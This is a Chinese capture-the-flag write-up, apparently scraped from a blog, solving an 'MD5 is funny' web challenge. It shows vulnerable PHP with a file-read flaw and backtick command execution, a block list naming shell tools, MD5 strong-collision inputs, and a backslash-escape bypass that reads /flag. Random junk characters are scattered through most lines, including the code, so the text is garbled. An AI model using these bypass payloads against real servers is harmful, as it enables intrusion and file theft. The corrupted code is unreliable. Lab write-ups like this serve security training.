|
3 A! ^ m6 N+ X<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
! b7 K; z) P+ M+ }# r' n/ L. Z8 C<p> </p>
' d1 W& c& s) w2 `" ^<p> </p>4 Y. O/ ~0 J+ H- Z
<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
& C6 l- A8 c. u9 ?<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>) _ K% L- [! j) x% n$ {
<p> </p>& X" r( B* O8 U+ y! `- N! F( E# |
<p> </p>% j# w/ o i; d5 s' R0 `- E
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>3 Q6 W O5 D$ P
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
( C7 o7 K( ^9 D4 o& S. ~ N5 B7 C<p>首先把那个进行一次base64位解码</p>
: l8 f7 K6 g8 x, @<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>( y: n! z* E, Y5 C- j8 x
<p> </p>
5 n: n' \8 r( V8 e- g<p> </p>
- r% t; A2 \3 u& s/ G' B<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
/ x5 B; l# f( ?% v+ p3 h7 r/ G. S- ?<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>7 G' z' a# R4 m
<p> </p>0 X$ q) K4 \3 g1 E" h b# I7 a9 }
<p> </p>
/ _7 |3 R- w5 T6 D+ m3 ^5 }<p> 然后用hex解码一下得到了</p>& ^* P0 X! `# _( g4 _
<div class="cnblogs_Highlighter">
( y" T. H7 v$ w9 N% i<pre class="brush:sql;gutter:true;">555.png
- B" _9 s9 \7 A" Q, Q* U0 M</pre>0 G0 o3 ]3 a$ |
</div>4 d. X" d. z. Q
<p> 用同样的方法把index.php进行加密</p>& I; p3 ?, S9 q% l
<div class="cnblogs_Highlighter">& Z/ D' J( |! ? b& `9 z# v
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN33 M% Y5 b' {5 v+ D: q
</pre>' r, B* w6 |8 |
</div>
( ~! l3 Z+ M4 R% @0 c* T( Z<p> 然后输入到地址栏</p>
$ p% T. z; ]: p4 i<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
0 I( i. z" w6 H t, ]" e<div class="cnblogs_code"># d- @5 e5 P x
<pre><?<span style="color: rgba(0, 0, 0, 1)">php d6 x4 u1 S. w) }3 i
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
0 I- c( m- p1 V3 _* f</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);+ U4 \; B' c8 J3 K
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];2 g' { s7 |+ Y
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
4 ^: s5 R3 S; O; c3 W7 d </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);5 @* B' n( B/ T+ O4 ]) s& m4 a, Z
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));2 G7 R! E+ B4 e5 d! U+ J
) c/ Z$ \+ c. }$ \3 X2 D" b1 G H: i</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);0 h- u1 \" c0 V% m
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
2 [2 T9 m4 b5 v </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;) l& }. C+ t9 ]* q
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);% Y: Z/ U; }" P1 T/ {8 `
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {* F7 l2 G. c, U1 R6 _
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
% x0 w! l& f9 q9 p% `1 _ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
9 ~9 Q& j7 E6 v% q' V1 I </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
' } Z. \; @$ O/ \0 n1 c: w* p}
7 h/ B; Z' {/ [( P$ S. o( C, w& f</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
7 I! d/ C1 g4 R8 n, @$ T</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;1 q( r3 r3 C2 J, m3 w
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
, [6 v% T3 o% ?" R7 t1 ^ </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
. G/ R! _+ g1 p6 m. k8 c7 i8 ^ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;" y2 r2 E! y. U7 Z/ a4 t1 J
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
/ @4 ?7 q4 t5 k" {7 |' N6 ~3 U </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
) Q. J: Y7 x! H' L( l( z. S </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
* Z( _$ [$ a/ v7 j- R1 t } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
5 m3 Z9 D" x/ d' G </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">); n& O# O! T" A4 N1 h, Q
}
1 ]$ \" u8 y0 u; T- ]6 c' a) G5 l2 k, c& B}
& U2 W; G( _$ @4 K B7 i5 {& p+ p: ?0 f6 e( g
</span>?>
9 g- }# v* _" d' G( u<html>
2 l: Q+ d, X0 A7 q<style><span style="color: rgba(0, 0, 0, 1)">
$ K8 y' q- ?5 u# s$ V body{, y; H9 _% _+ @& w& ~: [/ P
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
1 P6 I- J) }7 m4 Y2 c) y6 G background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;/ z& e+ y+ ?$ J$ b% V' p* D) L
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
& m! p) n& k+ u/ |5 _/ m. V3 G background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
@$ V# {3 }$ [$ d$ i* U9 r: C<span style="color: rgba(0, 0, 0, 1)">}" p7 V" D' |! A! r% K2 c" _1 x
</span></style>
: E# P# n$ _2 E, C<body>
' D) d1 x; ]- D# G+ Z/ m</body>
0 L7 t1 k8 J$ U( ~; G</html></pre>; b3 e0 W0 R% H% Z- S
</div>
+ ^: ~& y9 n) g d<p>结合前面的推断,关键代码就在</p>
5 |4 K6 x1 r; R) v3 m<div class="cnblogs_code">5 x! b* q7 p! P: i
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
" y7 v7 e6 s. T$ ^) g6 L5 F: v </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;; y! z" a; P5 [( K+ d
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 A' |( H+ {4 e
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
) Y3 H7 s$ B+ {2 z5 f3 q& _- o+ y5 E* M }</span></pre>
0 x; T$ f# N5 M; t- U0 ]% s# f</div>
8 r. m0 z& i0 ~# |<p>这种MD5是md5强碰撞</p>; a* C2 g3 ]0 }; s$ \
<div class="cnblogs_Highlighter"> h; Y9 ?! N, f" \9 h# P( `
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2( k5 D" l* V0 w0 _7 c! l
</pre>1 ~$ P5 b5 r% M1 @$ V$ l$ i' _, v0 E
</div>
, P7 {. Z5 a/ u# u$ A<div class="cnblogs_Highlighter">, _* ~3 b7 ^0 b0 ]6 a
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
F" k4 ?4 U! [: c8 g# C* D</pre>0 s( z N7 p# w% O( r2 R
</div>
( H& W5 G& n/ [; }& C<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>% q- v# [8 n! \7 I7 r* K6 X
<p>于是采用payload:</p>
4 H( O1 E ?; x% j& f6 @8 ^<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
0 r3 ~+ {7 j3 r+ i9 C<p> </p>
- K& A- u7 j" ` f1 `<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
0 R" c s) M T& Y" V7 E* O<p>ls和l\s在命令执行的时候结果是一样的。</p>5 b9 K' ^) `! ^9 t
<p>然后发现根目录里面有/flag</p>0 s$ D; |; B$ Z% N+ [# J" B9 Y
<p>于是payload:</p>8 F: h7 G$ e% Y6 h1 O; _8 `0 ^
<div class="cnblogs_Highlighter">
" p U1 t* S% u; A, ^ A<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
( @( F. ~0 x% r</pre>
/ D+ n* v) N' s6 u/ a</div>
7 t9 J9 C1 J. O' r. X<p> 对于这个题目,因为他没有屏蔽sort和dir</p># f& X4 M7 C) H! n; V
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>0 H4 q6 g: Y3 ~6 S
<p> </p>
/ H# i1 I( b4 o# D7 a& o |
|